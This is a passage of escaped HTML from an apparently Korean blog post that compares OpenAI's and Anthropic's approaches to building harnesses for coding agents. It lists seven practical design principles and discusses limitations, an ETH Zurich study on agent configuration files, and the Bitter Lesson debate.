&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;&lt;b&gt;여전히 필수&lt;/b&gt; (없으면 스코프 부족)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;실전 비용 비교 (2D 레트로 게임 메이커 예시):&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;하네스&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;시간&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;비용&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;결과&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;단일 에이전트 (Solo)&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;20분&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;$9&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;핵심 기능(게임 플레이) 작동하지 않음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;전체 하네스&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;6시간&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;$200&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;16개 기능, 게임 플레이 가능, AI 통합&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;20배 비싸지만, 단일 에이전트에서는 핵심 기능이 아예 작동하지 않았다. &lt;b&gt;비용이 아니라 &quot;결과물이 쓸 수 있느냐 없느냐&quot;&lt;/b&gt;가 진짜 차이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 5 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;5. 두 접근법 비교 분석&lt;/b&gt;&lt;/h2&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 8px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;관점&lt;/th&gt;
&lt;th style=&quot;padding: 8px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;OpenAI (하네스 엔지니어링)&lt;/th&gt;
&lt;th style=&quot;padding: 8px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;Anthropic (하네스 디자인)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;핵심 은유&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;에이전트의 &quot;세계&quot; 구축&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;GAN 영감의 &quot;적대적 피드백 루프&quot;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;주요 관심사&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;환경 설계 + 대규모 코드베이스 일관성&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;장시간 자율 코딩 + 품질 보장&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;에이전트 수&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;Codex 단일 에이전트 (+ 리뷰 에이전트)&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;명시적 3-에이전트 (Planner/Generator/Evaluator)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;품질 보장 방법&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;린터 + CI + 구조적 테스트 + 정기 가비지 컬렉션&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;독립 Evaluator 에이전트 + Playwright 기반 실제 앱 QA&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;컨텍스트 관리&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;Progressive Disclosure (AGENTS.md &amp;rarr; docs/)&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;컨텍스트 리셋 vs 자동 컴팩션 (모델에 따라)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;규모&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;100만 줄, 1,500 PR, 5개월&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;풀스택 앱 1개, 4~6시간, $124.70~$200&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;엔트로피 대응&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;Golden Principles + 백그라운드 정리 에이전트&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;Evaluator가 스프린트마다 품질 게이트&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;인간의 역할&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;&quot;환경 설계자&quot; &amp;mdash; 코드 0줄 작성&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;&quot;하네스 튜너&quot; &amp;mdash; 평가 기준과 프롬프트 조정&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;모델 진화 시&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;명시적으로 다루지 않음&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;구성요소를 하나씩 제거하며 재검증&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;한 줄로 요약하면: &lt;b&gt;OpenAI식 하네스는 리포지토리 규모의 일관성을 최적화하고, Anthropic식 하네스는 장시간 실행의 품질 보장을 최적화한다.&lt;/b&gt; 둘은 상호 배타적이지 않으며, 실무에서는 두 관점을 결합하는 것이 가장 효과적이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;i&gt;(위 비교는 양쪽 원문에서 직접 인용한 사실 기반이다. 아래 공통 원칙은 필자가 두 글을 종합하여 도출한 해석이다.)&lt;/i&gt;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;접근 방식은 다르지만, 두 글에서 공통으로 나타나는 원칙이 있다.&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;에이전트의 작업 결과를 &lt;b&gt;자동으로 검증하는 메커니즘&lt;/b&gt;이 필수이다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;에이전트가 접근할 수 없는 지식은 존재하지 않는 것&lt;/b&gt;과 같다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;하네스 설계는 &lt;b&gt;일회성이 아니라 지속적인 튜닝&lt;/b&gt;이다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;인간의 역할이 &quot;코드 작성&quot;에서 &lt;b&gt;&quot;환경/기준 설계&quot;&lt;/b&gt;로 이동했다&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 6 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;6. 실무 적용: 하네스 설계 7원칙&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;두 글에서 추출한 실무 원칙을 정리한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;원칙 1: 지도를 주지, 백과사전을 주지 마라&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;AGENTS.md / CLAUDE.md는 100줄 이내의 &quot;목차&quot;로 유지하고, 상세 내용은 &lt;code&gt;docs/&lt;/code&gt; 하위에 구조화한다. &lt;b&gt;Progressive Disclosure&lt;/b&gt;로 에이전트가 필요할 때 깊이 탐색하게 한다. (OpenAI)&lt;/p&gt;
&lt;div style=&quot;background-color: #f0f7f0; padding: 12px 15px; border-radius: 8px; border-left: 3px solid #28a745; margin-top: 12px; font-size: 14px;&quot;&gt;&lt;b&gt;▶ 시작점&lt;/b&gt; AGENTS.md 파일을 열고 100줄 넘는 부분을 확인한다. 넘는다면 해당 내용을 docs/ 디렉토리로 분리하고, AGENTS.md에는 해당 파일로의 링크만 남긴다.&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;원칙 2: 불변량은 코드로 강제하라&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;아키텍처 경계, 의존성 방향, 네이밍 규칙은 문서가 아닌 &lt;b&gt;린터와 CI&lt;/b&gt;로 강제한다. 린터 에러 메시지에 수정 방법을 포함시켜 에이전트가 바로 고칠 수 있게 한다. (OpenAI)&lt;/p&gt;
&lt;div style=&quot;background-color: #f0f7f0; padding: 12px 15px; border-radius: 8px; border-left: 3px solid #28a745; margin-top: 12px; font-size: 14px;&quot;&gt;&lt;b&gt;▶ 시작점&lt;/b&gt; 레이어 경계 위반을 감지하는 린터 규칙 1개만 추가한다. (예: UI 컴포넌트에서 직접 DB 접근 금지). CI에 연결해서 에이전트가 생성한 코드에도 즉시 적용되게 한다.&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;원칙 3: 생성과 평가를 분리하라&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;에이전트에게 자기 작업을 평가하라고 하면 편향이 생긴다. &lt;b&gt;독립된 Evaluator&lt;/b&gt;를 두고, 그 Evaluator를 &quot;회의적(skeptical)&quot;으로 튜닝하는 것이 Generator를 자기 비판적으로 만드는 것보다 훨씬 쉽다. (Anthropic)&lt;/p&gt;
&lt;div style=&quot;background-color: #f0f7f0; padding: 12px 15px; border-radius: 8px; border-left: 3px solid #28a745; margin-top: 12px; font-size: 14px;&quot;&gt;&lt;b&gt;▶ 시작점&lt;/b&gt; 다음 PR 리뷰를 에이전트에게 맡길 때, 코드를 작성한 인스턴스와 다른 독립 인스턴스에 &quot;이 PR의 문제점만 찾아라. 좋은 점은 생략해도 좋다&quot;는 회의적 프롬프트로 리뷰를 요청해본다.&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;원칙 4: 에이전트에게 앱을 &quot;보여줘라&quot;&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;Chrome DevTools Protocol, Playwright MCP, 로컬 관측성 스택(로그/메트릭/트레이스)을 에이전트에 연결하여, 에이전트가 &lt;b&gt;실행 중인 앱을 직접 구동하고 검증&lt;/b&gt;할 수 있게 한다. (OpenAI + Anthropic 공통)&lt;/p&gt;
&lt;div style=&quot;background-color: #f0f7f0; padding: 12px 15px; border-radius: 8px; border-left: 3px solid #28a745; margin-top: 12px; font-size: 14px;&quot;&gt;&lt;b&gt;▶ 시작점&lt;/b&gt; 에이전트에게 새 기능을 구현하게 하기 전에, 먼저 &quot;로컬에서 앱을 실행하고 현재 동작을 스크린샷으로 캡처한 뒤 알려달라&quot;고 요청해본다.&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;원칙 5: 모델이 바뀌면 하네스를 재검증하라&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;하네스의 모든 구성 요소는 &quot;모델이 못하는 것&quot;에 대한 가정이다. 새 모델이 나오면 &lt;b&gt;한 번에 하나씩 제거&lt;/b&gt;하며 여전히 필요한지 검증한다. 필요 없는 구성은 제거하고, 새로 가능해진 영역에 하네스를 확장한다. (Anthropic)&lt;/p&gt;
&lt;div style=&quot;background-color: #f0f7f0; padding: 12px 15px; border-radius: 8px; border-left: 3px solid #28a745; margin-top: 12px; font-size: 14px;&quot;&gt;&lt;b&gt;▶ 시작점&lt;/b&gt; 모델 버전이 올라갈 때마다 주요 에이전트 작업 3개를 선정해 이전/이후 결과를 비교한다. 예상보다 더 잘 되거나 더 안 되는 태스크가 있으면 하네스 조정 신호다.&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;원칙 6: 엔트로피를 가비지 컬렉션하라&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;에이전트 생성 코드는 시간이 지나면 반드시 드리프트한다. &quot;golden principles&quot;를 정의하고, &lt;b&gt;정기적으로 스캔 &amp;rarr; 리팩토링 PR&lt;/b&gt;을 여는 백그라운드 프로세스를 만든다. 기술 부채는 소량씩 계속 갚는 것이 한꺼번에 처리하는 것보다 낫다. (OpenAI)&lt;/p&gt;
&lt;div style=&quot;background-color: #f0f7f0; padding: 12px 15px; border-radius: 8px; border-left: 3px solid #28a745; margin-top: 12px; font-size: 14px;&quot;&gt;&lt;b&gt;▶ 시작점&lt;/b&gt; 월 1회 에이전트에게 &quot;이 리포지토리에서 더 이상 참조되지 않는 파일, 죽은 코드, 미사용 의존성 목록을 작성해달라&quot;고 요청한다. 가비지 컬렉션의 시작점이다.&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;원칙 7: &quot;지루한&quot; 기술을 선택하라&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;Boring&quot; 기술(안정적 API, 높은 조합성, 훈련 데이터에 풍부)이 에이전트에게 더 쉽다. 때로는 외부 라이브러리를 쓰는 것보다 &lt;b&gt;에이전트가 하위 기능을 직접 구현&lt;/b&gt;하게 하는 것이 더 낫다 &amp;mdash; 100% 테스트 커버리지와 런타임 기대에 정확히 맞출 수 있으므로. (OpenAI)&lt;/p&gt;
&lt;div style=&quot;background-color: #f0f7f0; padding: 12px 15px; border-radius: 8px; border-left: 3px solid #28a745; margin-top: 12px; font-size: 14px;&quot;&gt;&lt;b&gt;▶ 시작점&lt;/b&gt; 다음 아키텍처 결정 시 새로운 프레임워크 대신 에이전트가 학습 데이터로 가장 많이 봤을 기술(PostgreSQL, FastAPI, React, Spring Boot 등)을 먼저 검토한다. 혁신은 비즈니스 로직에서 하고, 인프라는 boring하게 유지한다.&lt;/div&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 7 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;7. 제한사항 및 열린 질문&lt;/b&gt;&lt;/h2&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;두 글 모두 인정하는 한계&lt;/b&gt;&lt;br /&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;장기 일관성 미검증&lt;/b&gt;: OpenAI는 &quot;완전 에이전트 생성 시스템의 아키텍처 일관성이 수년에 걸쳐 어떻게 진화하는지 아직 모른다&quot;고 인정한다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;비용&lt;/b&gt;: Anthropic 하네스의 풀스택 앱 하나가 $124.70~$200. 개인 개발자에게는 부담스러울 수 있다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;재현성&lt;/b&gt;: OpenAI는 &quot;이 동작은 이 리포지토리의 특정 구조와 도구에 크게 의존하며, 유사한 투자 없이 일반화될 것으로 가정해서는 안 된다&quot;고 명시한다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;Evaluator의 한계&lt;/b&gt;: Anthropic의 Evaluator도 &quot;깊이 중첩된 기능의 미발견 버그, 비직관적 인터랙션, 작은 레이아웃 이슈&quot;를 놓친다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;맛(Taste)의 인코딩&lt;/b&gt;: OpenAI는 &quot;인간의 판단이 가장 큰 레버리지를 제공하는 곳이 어디인지, 그 판단을 어떻게 인코딩해서 복리로 쌓이게 하는지&quot; 아직 배우고 있다고 말한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #fff8e6; padding: 20px; border-radius: 12px; border-left: 5px solid #f0a500; margin: 20px 0;&quot;&gt;&lt;b&gt;ETH 취리히 연구의 반론&lt;/b&gt;&lt;br /&gt;2026년 ETH 취리히 연구팀이 138개 에이전트 설정 파일을 분석한 결과, &lt;b&gt;LLM이 자동 생성한 설정 파일은 오히려 성능을 저하&lt;/b&gt;시켰으며, 인간이 정성껏 작성한 파일도 평균 4% 미만의 성능 기여에 그쳤다. 이 연구는 &quot;AGENTS.md를 잘 쓰면 에이전트가 좋아진다&quot;는 전제를 재검토하게 만든다. 물론 단일 연구의 독립 검증이 필요하지만, &lt;b&gt;설정 파일이 만능 해법은 아니며 하네스의 다른 요소(도구 설계, 피드백 루프)가 더 중요할 수 있다&lt;/b&gt;는 점을 시사한다.&lt;br /&gt;&lt;small style=&quot;color: #888;&quot;&gt;(참고: HumanLayer - Skill Issue 분석, 독립 검증 필요)&lt;/small&gt;&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Bitter Lesson 논쟁: 하네스는 결국 불필요해지는가?&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Richard Sutton의 &lt;a href=&quot;http://www.incompleteideas.net/IncIdeas/BitterLesson.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Bitter Lesson&lt;/a&gt;은 &quot;일반적인 방법(더 큰 컴퓨팅)이 결국 도메인 특화 방법을 이긴다&quot;고 말한다. 이 관점에서 보면, 하네스는 모델이 아직 못하는 것을 메꾸는 &lt;b&gt;임시방편&lt;/b&gt;일 수 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;OpenAI의 Noam Brown도 &lt;i&gt;&quot;사람들이 추론 모델 위에 스캐폴딩을 만들고 있지만, 그 스캐폴드도 결국 더 능력 있는 모델로 대체될 것&quot;&lt;/i&gt;이라고 말했다 (참고: &lt;a href=&quot;https://www.latent.space/p/ainews-is-harness-engineering-real&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Latent Space, 2026-03-05&lt;/a&gt;). 반면 Hugo Bowne-Anderson은 &lt;i&gt;&quot;좋은 하네스는 그 자체가 일반적 방법이다 &amp;mdash; 컨텍스트를 관리하고, 에러에서 복구하고, 상태를 유지하는 방식이 모델 능력과 함께 확장된다&quot;&lt;/i&gt;며, 핵심 원칙으로 &lt;b&gt;&quot;삭제를 위해 만들어라(Build for deletion)&quot;&lt;/b&gt;를 제안한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Anthropic의 답이 여기에 있다: 모델이 좋아지면 하네스 구성을 하나씩 제거하며 재검증한다. Opus 4.5에서 4.6으로 올라갔을 때 스프린트 분해와 컨텍스트 리셋을 제거한 것이 정확히 이 원칙의 실천이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;&quot;Nothing New&quot; 비판&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;비판도 있다. X의 @GenAI_is_real은 &lt;i&gt;&quot;이 사람들은 오래된 개념에 새 이름을 붙이는 것 외에 아이디어가 있는 건가?&quot;&lt;/i&gt;라고 썼다 (&lt;a href=&quot;https://x.com/GenAI_is_real/status/2036266930290696599&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;출처&lt;/a&gt;). 하네스 엔지니어링이 결국 관심사 분리(Separation of Concerns), docs-as-code, CI/CD의 리브랜딩이라는 것이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이에 대해 Martin Fowler / Birgitta Bockeler는 &lt;i&gt;&quot;이 분야에서 처음으로 마음에 드는 용어다&quot;&lt;/i&gt;라며, 프레이밍 자체가 실무적 가치를 가진다고 반론했다. 실제로 &quot;에이전트를 위한 환경 설계&quot;라는 프레임은 기존 소프트웨어 엔지니어링 원칙을 &lt;b&gt;에이전트 시대에 맞게 재조직&lt;/b&gt;하는 데 유용하다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;양쪽 모두 솔직하게 인정하는 점이 있다: &lt;b&gt;이 분야는 아직 초기이다.&lt;/b&gt; 하네스 엔지니어링은 2026년에 막 이름을 얻은 개념이며, &quot;정답&quot;은 아직 없다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin: 20px 0 15px;&quot; data-ke-size=&quot;size16&quot;&gt;한계가 분명히 존재한다. 그럼에도 방향은 명확하다. 에이전트가 생성한 코드 100만 줄이 이미 프로덕션에서 작동하고 있다는 사실, GAN 구조로 주관적 품질을 점수화할 수 있다는 발견, 그리고 모델이 좋아질수록 하네스가 단순해진다는 경험적 증거 &amp;mdash; 이것들이 &quot;하네스 엔지니어링&quot;이 단순한 유행어가 아님을 보여준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 8 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;8. 결론&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;OpenAI와 Anthropic이 한 달 간격으로 같은 키워드의 엔지니어링 블로그를 발표한 것은, &lt;b&gt;&quot;코드를 짜는 것이 아니라 환경을 설계하는 것&quot;&lt;/b&gt;이 AI 시대 엔지니어링의 핵심이 되었다는 신호이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;당신의 프로젝트에서 시작하기&lt;/h3&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #d4edda;&quot;&gt;
